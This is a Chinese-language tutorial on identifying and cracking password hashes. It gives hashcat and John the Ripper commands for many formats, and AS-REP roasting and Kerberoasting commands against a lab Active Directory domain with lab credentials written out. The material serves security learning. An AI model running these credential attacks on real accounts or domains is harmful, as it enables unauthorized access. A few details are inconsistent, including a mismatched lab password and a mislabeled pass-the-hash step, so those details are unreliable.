Hash Cracking 技术完全指南

前置知识

Hash基础概念

• Hash是否可逆：Hash本质上是一种单向加密技术，理论上不可逆，但可以通过暴力破解、字典攻击或彩虹表等方式尝试还原明文
• /etc/shadow中的Hash：
  • $1开头的为MD5加密
  • $6开头的为SHA-512加密
• 常见Hash算法：MD5、SHA-1、SHA-256、SHA-512、bcrypt、NTLM、LM等

识别Hash算法

常用工具

1. hash-identifier (Kali自带)

   hash-identifier
   > 5f4dcc3b5aa765d61d8327deb882cf99
   

2. hashid

   hashid 698d51a19d8a121ce581499d7b701668
   

3. Name-That-Hash

   pip install name-that-hash
   nth --text '5f4dcc3b5aa765d61d8327deb882cf99'
   

4. haiti

   gem install haiti-hash
   haiti 698d51a19d8a121ce581499d7b701668
   

常见Hash破解

Hash格式与示例

1. MD5 (无前缀)

# 生成MD5
echo -n "string" | md5sum
echo -n "string" | openssl md5

# 破解
hashcat -m 0 -a 0 hashes.txt wordlist.txt
john --format=raw-md5 hashes.txt

2. DES (无前缀)

# 生成DES
perl -le 'print crypt("password", "salt")'

# 破解
hashcat -m 1500 -a 0 hashes.txt wordlist.txt
john --wordlist=wordlist.txt hashes.txt

3. MD5crypt ($1)

# 生成MD5crypt
openssl passwd -1 123456

# 破解
hashcat -m 500 -a 0 hashes.txt wordlist.txt
john --format=md5crypt hashes.txt

4. bcrypt (\(2a/\)2b)

# 生成bcrypt (Python)
import bcrypt
password = b'123456'
salt = bcrypt.gensalt()
hashed = bcrypt.hashpw(password, salt)

# 破解
hashcat -m 3200 -a 0 hashes.txt wordlist.txt
john --format=bcrypt hashes.txt

5. SHA512crypt ($6)

# 生成SHA512crypt
openssl passwd -6 -salt $(openssl rand -base64 12) "123456"

# 破解
hashcat -m 1800 -a 0 hashes.txt wordlist.txt
john --format=sha512crypt hashes.txt

6. yescrypt ($y)

# 破解
john --format=crypt --rules --wordlist=wordlist.txt unshadowed.txt

7. LM Hash

# 破解
hashcat -m 3000 -a 0 '299BD128C1101FD6AAD3B435B51404EE' wordlist.txt
john --format=lm hashes.txt

8. NTLM Hash

# 生成NTLM (Python)
from passlib.hash import nthash
print(nthash.hash("password"))

# 破解
hashcat -m 1000 -a 0 hashes.txt wordlist.txt
john --format=NT hashes.txt

9. NetNTLMv1

# 格式
username::hostname:LM response:NTLM response:challenge

# 破解
hashcat -m 5500 -a 0 hashes.txt wordlist.txt
john --format=netntlm hashes.txt

10. NetNTLMv2

# 格式
username::domain:challenge:HMAC-MD5:blob

# 破解
hashcat -m 5600 -a 0 hashes.txt wordlist.txt
john --format=netntlmv2 hashes.txt

11. JWT (JSON Web Token)

# 格式
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.kXSdJhhUKTJemgs8O0rfIJmUaxoSIDdClL_OPmaC7Eo

# 破解
hashcat -m 16500 -a 0 jwt.txt wordlist.txt
john --format=HMAC-SHA256 jwt.txt

12. PKZIP ($pkzip2)

# 破解
fcrackzip -u -D -p wordlist.txt file.zip
zip2john file.zip > zip.john
john zip.john

13. WinZip ($zip2)

# 破解
hashcat -m 13600 -a 0 hashes.txt wordlist.txt

14. 7-Zip ($7z)

# 破解
7z2john file.7z > 7z.hash
hashcat -m 11600 hashes.txt wordlist.txt
john --format=7z hashes.txt

15. RAR5 ($rar5)

# 破解
rar2john file.rar > rar.hash
hashcat -m 13000 hashes.txt wordlist.txt
john --format=RAR5 hashes.txt

域内Hash破解

NTLM认证攻击

1. Pass the Hash (哈希传递)

# 从secretsdump获取NTLM Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9b6527a2fa104886453b3b75bc0da9d6:::

# 破解
hashcat -m 1000 -a 0 hashes.txt wordlist.txt

2. NetNTLMv2 - Responder中继攻击

# 通过Responder获取的NetNTLMv2 Hash
three::NPC:34207bdf6b647508:8BF9BA0D91C9ECE661F85DB265827F6C:010100000000000000FF4C22592EDB01...

# 破解
hashcat -m 5600 -a 0 hashes.txt wordlist.txt

Kerberos认证攻击

Kerberos环境搭建

• 域控配置：192.168.111.146，npc.com/Administrator，Hello1234
• 客户端：192.168.111.149，npc.com/three，Hello123

Kerberos认证流程

1. AS_REQ：客户端请求TGT
2. AS_REP：KDC发放TGT
3. TGS_REQ：客户端用TGT请求ST
4. TGS_REP：KDC发放ST
5. AP_REQ：客户端使用ST访问服务

AS-REP Roasting攻击

前置条件：域用户勾选"不需要Kerberos预身份验证"

# 获取AS-REP Hash
python GetNPUsers.py -dc-ip 192.168.111.146 -usersfile users.txt npc/

# 破解
hashcat -m 18200 -a 0 hashes.txt wordlist.txt

Kerberoasting攻击

前置条件：域中注册了SPN的服务

# 获取TGS-REP Hash
python GetUserSPNs.py npc.com/three:Hello33 -dc-ip 192.168.111.146 -request

# 破解
hashcat -m 13100 -a 0 hashes.txt wordlist.txt

Kerberos Hash破解

1. Kerberos AS-REQ Pre-Auth ($krb5pa)

# 格式
$krb5pa$23$user$realm$salt$hash
$krb5pa$18$user$realm$hash

# 破解
hashcat -m 19900 -a 0 hashes.txt wordlist.txt
john --format=krb5pa-md5 hashes.txt

2. Kerberos AS-REP ($krb5asrep)

# 格式
$krb5asrep$23$user@realm:hash[:32]$hash[32:]

# 破解
hashcat -m 18200 -a 0 hashes.txt wordlist.txt
john --format=krb5asrep hashes.txt

3. Kerberos TGS-REP ($krb5tgs)

# 格式
$krb5tgs$23$*user$realm$spn*$hash[:32]$hash[32:]
$krb5tgs$18$user$realm$hash[:24]$hash[24:]

# 破解
hashcat -m 13100 -a 0 hashes.txt wordlist.txt
john --format=krb5tgs hashes.txt

攻击流量分析

NTLM流量分析

• 从流量中提取Challenge、Response和Hash进行组装
• 格式：username::domain:challenge:HMAC-MD5:blob

Kerberos流量分析

AS-REQ Pre-Auth

• 过滤：_ws.col.info == "AS-REQ"
• 提取：etype、cipher、username、realm
• 组装：$krb5pa$18$three$NPC.COM$28b51bef43423d452b53b344be976cdb...

AS-REP

• 过滤：_ws.col.info == "AS-REP"
• 提取：etype、cipher、username、realm
• 组装：$krb5asrep$23$three@NPC.COM:e71508e45fbb3289bd82066a83a713ca$c97f506ae47c9ecaaa64d157d34b2ff4...

TGS-REP

• 过滤：_ws.col.info == "TGS-REP"
• 提取：etype、cipher、username、realm、spn
• 组装：$krb5tgs$23$*three$NPC.COM$npc.com/three*$7e991b6110f0b716bc0d8cdb55baba2b$2bcb6a1485d038098b91fcdc335bf149...

附录：工具与资源

离线破解工具

• Hashcat
• John the Ripper

在线破解服务

• cmd5
• somd5
• CrackStation
• hashes.com

彩虹表

• LM/NTLM hashes
• 100k hashes